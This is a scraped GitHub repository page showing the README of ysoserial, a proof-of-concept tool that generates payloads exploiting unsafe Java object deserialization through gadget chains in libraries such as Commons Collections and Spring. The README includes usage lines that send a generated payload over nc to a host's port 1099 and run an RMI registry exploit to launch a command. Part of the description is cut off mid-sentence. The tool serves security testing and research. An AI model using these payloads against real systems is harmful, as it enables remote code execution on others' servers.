frohoff /ysoserial

A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

★ 9,102⑂ 1,850👁 214⑃ 119● 107▤ 1
下载:v0.0.6v0.0.6 ↓0.0.62022-06-29
+0
日增长
9,102
stars
1,850
forks
214
watchers
119
prs
107
issues
1
releases

README

ysoserial






A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

!logo

 Description

Originally released as part of AppSecCali 2015 Talk
"Marshalling Pickles: how deserializing objects will ruin your day"
with gadget chains for Apache Commons Collections (3.x and 4.x), Spring Beans/Core (4.x), and Groovy (2.3.x).
Later updated to include additional gadget chains for
JRE  groovypayload.bin
$ nc 10.10.10.10 1099 < groovypayload.bin

$ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe


 Installation



Download the latest release jar from GitHub releases.

 Building

Requires Java 1.7+ and Maven 3.x+

mvn clean package -DskipTests

 Code Status




 Contributing

1. Fork it
2. Create your feature branch (git checkout -b my-new-feature)
3. Commit your changes (git commit -am 'Add some feature')
4. Push to the branch (git push origin my-new-feature)
5. Create new Pull Request

 See Also
 Java-Deserialization-Cheat-Sheet: info on vulnerabilities, tools, blogs/write-ups, etc.
 marshalsec: similar project for various Java deserialization formats/libraries
 ysoserial.net: similar project for .NET deserialization

Top issues

Discussions

Latest release

v0.0.6 v0.0.6 2022-06-29

Snapshot: 2026-11-16T09:23:14Z · Data license Apache-2.0 · JSON